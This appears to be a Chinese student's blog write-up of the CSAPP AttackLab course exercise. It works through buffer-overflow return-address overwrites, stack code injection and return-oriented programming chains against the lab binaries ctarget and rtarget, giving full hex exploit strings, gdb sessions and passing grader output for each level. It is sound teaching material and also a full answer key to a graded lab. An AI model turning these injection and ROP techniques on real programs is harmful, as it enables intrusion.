4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop

通过观察sub $0x28,%rsp可以知道,getbuf在局部栈上开辟了大小为40个字节的空间,据此我们可以推测BUFFER_SIZE为40。那么,如果我们输入的字符串长度超过了40个字节,就会造成缓冲区溢出。

这里我们需要复习一下函数栈帧的相关知识。被调用者Q的栈帧自栈底(高地址)到栈顶(低地址)包括了被保存的寄存器,局部变量和参数构造区。而调用者Q的栈帧自栈底到栈顶包括了参数以及返回地址。

对于getbuf函数来说,不存在被保存的寄存器,在缓冲区溢出之后,溢出的字符会直接覆盖调用者栈帧中的返回地址。因此,直接使用touch1的起始地址作为溢出的字符串覆盖返回地址即可。

我们观察反汇编代码中touch1函数的起始地址,如下:

1
00000000004017c0 <touch1>:

据此可以得出攻击代码的16位表示如下:
1
2
3
4
5
6
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
c0 17 40 00 00 00 00 00

其中,前40个字节的内容无关紧要(只要不是0a即可),因为它们属于未溢出的部分。这段攻击代码中而真正起作用的是缓冲区溢出的部分,即最后的8个字节。同时要注意到x86_86的机器是小端表示的字节序,即低位放在低字节,高位放在高字节,并且栈的增长方向是由低地址增长到高地址。所以最后8个字节的顺序为 c0 17 40 00 00 00 00 00。
下面我们使用hex2raw生成攻击字符串并测试。结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level1/level1.txt|./hex2raw|./ctarget -q
数Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 C0 17 40 00 00 00 00 00

本阶段完成。

等级2

阶段2需要在攻击字符串中注入少量的代码。

在ctarget中,函数touch2如下:

1
2
3
4
5
6
7
8
9
10
11
12
void touch2(unsigned val)
{
vlevel = 2;
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: you called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

任务是让ctarget执行函数touch2的代码而不是直接返回到test函数。并且,你必须假装你已经传递了cookie的值作为touch2的参数。

考虑到在ctarget中,栈地址固定以及允许在栈上执行代码,所以我们可以通过缓冲区溢出漏洞将返回地址指定到栈上,在栈上执行相应的指令,为函数touch2设置参数,最后再从栈上返回至touch2函数即可。

同阶段一相似,攻击代码的前40个字节无关紧要(只要不是0a),第41-48个字节指定了getbuf的返回地址,为了让函数能返回到栈上执行代码,我们需要知道栈地址。

使用gdb加载ctarget,并为getbuf函数设置断点,执行程序,当程序因为断点而暂停的时候打印rsp的值。具体的操作和结果如下:

1
2
3
4
5
6
7
8
9
10
(gdb) break getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -q
Starting program: /home/zhihaochen/CSAPPLabs/AttackLab/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12 buf.c: 没有那个文件或目录.
(gdb) print /x $rsp
$1 = 0x5561dca0

从中可以得出结论,ctarget在执行getbuf时的栈地址(指向返回地址)为0x5561dca0。因此我们应该将返回地址指定为0x5561dca8。

然后我们用gcc和objdump来生成攻击代码。首先新建一个exploit.s文件,并在其中编写相应的攻击代码,如下:

1
2
3
mov $0x59b997fa, %edi ;设置cookie为参数
add $16, %rsp ;将rsp指向下一个返回地址(函数touch2的地址)
ret ;返回

其中add $16,%rsp的值可能需要修改,这是因为我们无法确定这段汇编代码反汇编后占多少字节。同时,我们也要保证rsp移动的位数是8的倍数,这是栈的特性(即push和pop时操作数据的大小为一个机器字长)决定的。

写完了攻击代码后,我们依次使用gcc -c exploit.s以及objdump -d exploit.o > exploit.d将攻击代码汇编和反汇编。具体的操作和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
user@BlackDragon ~/C/A/t/s/c/level2> gcc -c exploit.s                                             
user@BlackDragon ~/C/A/t/s/c/level2> objdump -d exploit.o > exploit.d
user@BlackDragon ~/C/A/t/s/c/level2> cat exploit.d

exploit.o: 文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: bf fa 97 b9 59 mov $0x59b997fa,%edi
5: 48 83 c4 10 add $0x10,%rsp
9: c3 retq

总共是10个字节,小于16个字节,因此源攻击代码中的add $16,%rsp可以直接使用,无需继续更改。
最后我们在ctarget-disassemble中观察函数touch2的起始地址,如下:
1
00000000004017ec <touch2>:

根据以上的信息,我们最终的攻击代码如下:

1
2
3
4
5
6
7
8
9
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 /* 前40个字节 */
a8 dc 61 55 00 00 00 00 /* 返回地址 指向下8个字节 */
bf fa 97 b9 59 48 83 c4
10 c3 00 00 00 00 00 00 /* 攻击代码 */
ec 17 40 00 00 00 00 00 /* 返回地址 指向函数touch2 */

下面我们使用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level2/level2.txt|./hex2raw|./ctarget -q     
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 A8 DC 61 55 00 00 00 00 BF FA 97 B9 59 48 83 C4 10 C3 00 00 00 00 00 00 EC 17 40 00 00 00 00 00

本阶段完成。

等级3

阶段3同样包含了代码注入攻击,但是这次需要将一个字符串作为参数传入。
在ctarget中,函数hexmatch和touch3的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie,sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

任务是让程序执行touch3的代码而不是直接返回到test,你必须假装你已经将一个cookie的字符串表示作为参数传递给了touch3。

该阶段的思路同阶段二相似,不同的是,阶段二要求传递的参数是一个数字,而阶段三要求传递的参数是一个自己构造的字符串的首地址。因此,我们需要将目标字符串也通过缓冲区溢出攻击注入到栈段,并且将其首地址设置为%rdi。

现在我们来构造攻击字符串,首先,同阶段一和阶段二一样,攻击字符串的前40个字符串无关紧要(只要不是0a),第41-48个字节指定了getbuf的返回地址,同阶段二一样,我们将该返回地址设置为0x5561dca8。

接下来我们使用gcc和objdump来生成攻击代码。首先新建一个exploit.s文件,并在其中编写相应的攻击代码,如下:

1
2
3
mov $0x0, %edi ;设置第一个参数指向一个字符串(保留)
add $16, %rsp ;将rsp指向下一个返回地址(函数touch3的地址)
ret ;返回

注意,在构造该攻击字符串的时候,我们还不知道cookie的字符串的表示的首地址。故我们先使用0x0进行占位。生成最后的攻击字符串时只要用相应的栈地址替换0x0即可。

写完攻击代码之后,我们依次使用gcc和objdump进行汇编和反汇编,具体的操作和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
user@BlackDragon ~/C/A/t/s/c/level3> gcc -c exploit.s                                             
user@BlackDragon ~/C/A/t/s/c/level3> objdump -d exploit.o > exploit.d
user@BlackDragon ~/C/A/t/s/c/level3> cat exploit.d

exploit.o: 文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: bf 00 00 00 00 mov $0x0,%edi
5: 48 83 c4 10 add $0x10,%rsp
9: c3 retq

在攻击代码之后,栈上紧跟着的应该是该攻击代码的返回地址,毫无疑问,在这里我们需要将返回地址指向函数touch3的起始地址。

现在需要讨论的问题是,字符串应该放在栈上的什么地方?首先我们可以考虑将字符串放置在攻击字符串的前40个字节中。这样,具体的攻击代码如下:

1
2
3
4
5
6
7
8
9
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00 /* 前40个字节 其中最后16个字节保存了cookie的字符串表示 */
a8 dc 61 55 00 00 00 00 /* 返回地址 指向下8个字节 */
bf 90 dc 61 55 48 83 c4 /* 攻击代码 其中将%rdi指向cookie的字符串表示的首地址 */
10 c3 00 00 00 00 00 00
fa 18 40 00 00 00 00 00 /* 返回地址 指向函数touch3 */

下面我们用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level3/level3-2.txt|./hex2raw|./ctarget -q
Cookie: 0x59b997fa
Type string:Misfire: You called touch3("")
FAIL: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:FAIL:0xffffffff:ctarget:3:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 A8 DC 61 55 00 00 00 00 BF 90 DC 61 55 48 83 C4 10 C3 00 00 00 00 00 00 FA 18 40 00 00 00 00 00

糟糕,程序出错了,从Misfire: You called touch3(“”)中我们可以看出,%rdi指向的字符串是空字符串。这显然与我们的预期不符。我们的攻击代码理应没有任何问题。那么问题出在哪儿呢?

下面我们将攻击字符串导出成文件并且在gdb中进行调试,具体的操作和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level3/level3-2.txt|./hex2raw > weirdError
user@BlackDragon ~/C/A/target1> gdb ctarget
GNU gdb (GDB) 7.12.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ctarget...done.
(gdb) break getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -i weirdError -q
Starting program: /home/zhihaochen/CSAPPLabs/AttackLab/target1/ctarget -i weirdError -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12 buf.c: 没有那个文件或目录.
(gdb) nexti 5
0x00000000004017bd 16 in buf.c
(gdb) x /16b 0x5561dc90
0x5561dc90: 53 57 98 57 57 55 102 97
0x5561dc98: 0 0 0 0 0 0 0 0
......After Some Steps......
(gdb) disas
Dump of assembler code for function touch3:
0x00000000004018fa <+0>: push %rbx
0x00000000004018fb <+1>: mov %rdi,%rbx
0x00000000004018fe <+4>: movl $0x3,0x202bd4(%rip) # 0x6044dc <vlevel>
0x0000000000401908 <+14>: mov %rdi,%rsi
0x000000000040190b <+17>: mov 0x202bd3(%rip),%edi # 0x6044e4 <cookie>
=> 0x0000000000401911 <+23>: callq 0x40184c <hexmatch>
0x0000000000401916 <+28>: test %eax,%eax
0x0000000000401918 <+30>: je 0x40193d <touch3+67>
0x000000000040191a <+32>: mov %rbx,%rdx
0x000000000040191d <+35>: mov $0x403138,%esi
0x0000000000401922 <+40>: mov $0x1,%edi
0x0000000000401927 <+45>: mov $0x0,%eax
0x000000000040192c <+50>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401931 <+55>: mov $0x3,%edi
0x0000000000401936 <+60>: callq 0x401c8d <validate>
0x000000000040193b <+65>: jmp 0x40195e <touch3+100>
0x000000000040193d <+67>: mov %rbx,%rdx
0x0000000000401940 <+70>: mov $0x403160,%esi
0x0000000000401945 <+75>: mov $0x1,%edi
0x000000000040194a <+80>: mov $0x0,%eax
(gdb) x /16b 0x5561dc90
0x5561dc90: 53 57 98 57 57 55 102 97
0x5561dc98: 0 0 0 0 0 0 0 0
(gdb) nexti
0x0000000000401916 73 in visible.c
(gdb) x /16b 0x5561dc90
0x5561dc90: 0 -98 119 -23 120 13 -32 -89
0x5561dc98: -112 -36 97 85 0 0 0 0

我们可以注意到,在函数touch3调用函数hexmatch的前后,0x5561dc90指向的内存并不是我们一开始注入的cookie的字符串表示,而是被填充了其他的数据。这是由于调用新的函数(hexmatch以及hexmatch调用的函数)使得栈帧继续向下增长,从而覆盖了原先我们注入的数据的原因。

我们可以在gdb中实际的运行一下ctarget来得出执行hexmatch函数到底会覆盖多少栈空间,然后根据结果重写我们的攻击代码。
但是我在这里采用了另外一种方法是直接将cookie的字符串表示写到攻击代码的最后,这样,这段字符串将会处于相对的高地址,由于栈的增长方向是从高地址到低地址,这样,注入的字符串将绝对不会因函数调用而被覆盖。

最终,我们的攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 /* 前40个字节 */
a8 dc 61 55 00 00 00 00 /* 返回地址 指向下8个字节 */
bf c0 dc 61 55 48 83 c4
10 c3 00 00 00 00 00 00 /* 攻击代码 其中将%rdi指向字符串的首地址(栈的高地址)*/
fa 18 40 00 00 00 00 00 /* 返回地址 指向函数touch3 */
35 39 62 39 39 37 66 61 /* cookie的字符串表示 共9个字节(包括'/0') */
00

用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level3/level3.txt|./hex2raw|./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 A8 DC 61 55 00 00 00 00 BF C0 DC 61 55 48 83 C4 10 C3 00 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00

本阶段完成。

第二部分 返回导向编程(Return-Oriented Programming)攻击

为了对抗缓冲区溢出攻击,现代编译器和操作系统采用了很多机制。第二部分的目标文件rtarget就采用了以下两种技术:

  • 栈随机化技术,每一次运行程序时,栈的起始位置都是不固定的,几乎不可能确定你攻击代码在栈上的位置。
  • 禁止执行栈上的代码,所以当你尝试将PC指向栈段的时候,程序只能因Segmentation Fault而退出。

下面我们引入返回导向编程(Return-Oriented Programming)技术来实现在以上两种限制情况下执行代码。

C语言程序是由若干的函数组成的,每一个函数都以ret结束,下面我们给出一个函数,如下:

1
2
3
4
void setval_210(unsigned *p)
{
*p = 3347663060U;
}

以及这个函数的反汇编结果,如下:
1
2
3
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

尽管栈随机化以及禁止在栈段执行代码,但是通过缓冲区溢出攻击,我们仍然可以覆盖返回地址并且让PC跳转至代码段的相应位置。例如让getbuf返回后跳转至0x400f15,尽管这看起来并没有什么意义,因为程序的代码和我们攻击的代码的逻辑是不同的,攻击代码和程序已有代码相同的可能性几乎是0。

现在,让我们换一个思路,如果让getbuf返回后跳转到0x400f18,会怎么样呢?

从0x400f18开始的三个字节48 89 c7代表的是movq %rax, %rdi,然后紧跟的c3代表的是ret。在攻击中,这段代码就比movl $0xc78948d4,(%rdi) ret这样的代码更有意义。并且当这段代码执行完毕,ret又迫使程序跳转到下一个返回地址指向的地方。

现在我们可以利用程序本身的代码,构造出一组由不同的返回地址组成的攻击代码,每一个返回地址都指向了一个函数的最末尾的若干字节,由ret结尾。这样,程序就会按照我们设计的顺序依次执行这些代码片段,以达到修改程序行为的结果,这就是返回导向编程。这些代码片段被称作gadget,而这些gadgets共同组成了一个gadget farm。

等级2

在阶段4中,我们将重复阶段2的攻击,只是这一次目标文件为rtarget。为了简化期间,在本次实验中,你仅能从gadget farm中利用movq,popq,ret,nop这四种类型的指令以及x86_64的前8个寄存器(%rax-%rdi)的gadget去构造答案。并且在阶段4中,你只能使用farm.c中start_farm()和mid_farm()之间的gadget来实现攻击。

当一个gadget用到了popq指令,它将会从栈中pop数据,因此,你的攻击代码将会同时包括gadget地址以及数据。

阶段4的思路很简单,我们只要首先从栈中将cookie的8位数字pop到一个寄存器中,再使用mov指令将该寄存器的值送入%rdi中,或者更加直接,将cookie从栈中pop至%rdi中,最后再将返回地址设置为touch2即可。具体要看gadget farm中都提供了哪些gadgets。

我们首先观察gadget_farm中的相关gadgets,并决定其是否可以用作攻击。根据上述的思路,我们可以得到两个gadget set_val426及getval_280,它们的反汇编代码如下:

1
2
3
4
5
6
7
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq

00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq

setval_426中的48 89 c7 90 c3可以被解释为mov %rax,%rdi nop ret,而getval_280中的58 90 c3可以被解释为pop %rax nop ret。
将这两个gadget结合,即可以得到阶段4的结果,如下:
1
2
3
4
5
6
7
8
9
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 /* 前40个字节 */
cc 19 40 00 00 00 00 00 /* pop %rax */
fa 97 b9 59 00 00 00 00 /* cookie */
c5 19 40 00 00 00 00 00 /* mov %rax,%rdi */
ec 17 40 00 00 00 00 00 /* touch2 */

用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/rtarget/level2/level2.txt|./hex2raw|./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

本阶段完成。

等级3

在阶段5中,我们将在rtarget中重复阶段3的攻击,即将目标字符串的首地址作为参数传递给函数touch3。这是所有阶段中最难的一个阶段。

首先,考虑到代码段部分以及栈段部分的地址的高4字节都是0,以及x86下任何以32位寄存器作为目标寄存器的指令都会将该寄存器的高4字节置0,我们同样可以使用movl替代movq。

在本阶段中,我们显然是需要将cookie的字符串表示存入栈段的,这个阶段的核心问题是如何定位该字符串的首地址,在栈地址随机的情况下,这是很难的。

首先想到的是利用mov指令将%rsp的值送入另一个寄存器,但是在执行这样的gadget时,寄存器rsp指向的是下一个gadget的返回地址,而不是字符串的首地址,而如果让其指向字符串的首地址,那么又无法在最后返回到函数touch3。

我在做这个实验的时候,在这里卡了很久。最后才注意到在gadget farm中有一个叫做add_xy的函数,这个函数的功能是将%rdi与%rsi相加并保存至%rax,豁然开朗。做题目(进行攻击)的时候还是不能太死板,一定要充分利用目标程序本身提供的代码,一味地按照固有的套路做有时只会浪费时间和精力。

整个阶段5的思路如下,首先将rsp存入某个寄存器之中,然后再将一个特定的常量pop至另一个寄存器之中,最后将这两个值分别存入%rsi和%rdi,调用add_xy将其相加得到字符串的首地址,并将结果%rax存入%rdi之中,最后再调用函数touch3即可。

受制于gadget的种类,我们可能会用到多个gadget做中转。最终的攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 /* 前40个字节 */
06 1a 40 00 00 00 00 00 /* mov %rsp,%rax */
a2 19 40 00 00 00 00 00 /* mov %rax,%rdi <- %rax指向的地址*/
ab 19 40 00 00 00 00 00 /* pop %rax */
48 00 00 00 00 00 00 00 /* offset constant*/
dd 19 40 00 00 00 00 00 /* mov %eax,%edx */
34 1a 40 00 00 00 00 00 /* mov %edx,%ecx */
13 1a 40 00 00 00 00 00 /* mov %ecx,%esi */
d6 19 40 00 00 00 00 00 /* add_xy */
a2 19 40 00 00 00 00 00 /* mov %rax,%rdi */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 /* cookie的字符串表示 与前面保存的rsp总共差了9条语句 故常量为0x48*/
00

用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/rtarget/level3/level3.txt|./hex2raw|./rtarget -q                
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00

本阶段完成。

注意,在第二部分中,可能使用不同的Gadget去实现相同的攻击效果,答案仅供参考,但并不是唯一的。

至此,整个实验完成。

实验总结

相比与BombLab来说,整个AttackLab总体比较简单,主要需要自行阅读讲义中的材料学习相关的攻击方式并将其运用,考虑到讲义中给出的提示,除了阶段5以外整体不是很难。

在这次实验中,主要的两个问题以及收获:

  • 字节序的问题,需要对栈的增长方向以及小端法的字节序加以理解。
  • ROP攻击要充分利用程序本身,而不是循规蹈矩地盲目寻找Gadgets,这样只会在阶段五卡住。

评论和共享

  • 第 1 页 共 1 页
作者的图片

码龙黑曜

iOS开发者/计算机科学/兽人控


华中科技大学 本科在读


Wuhan, China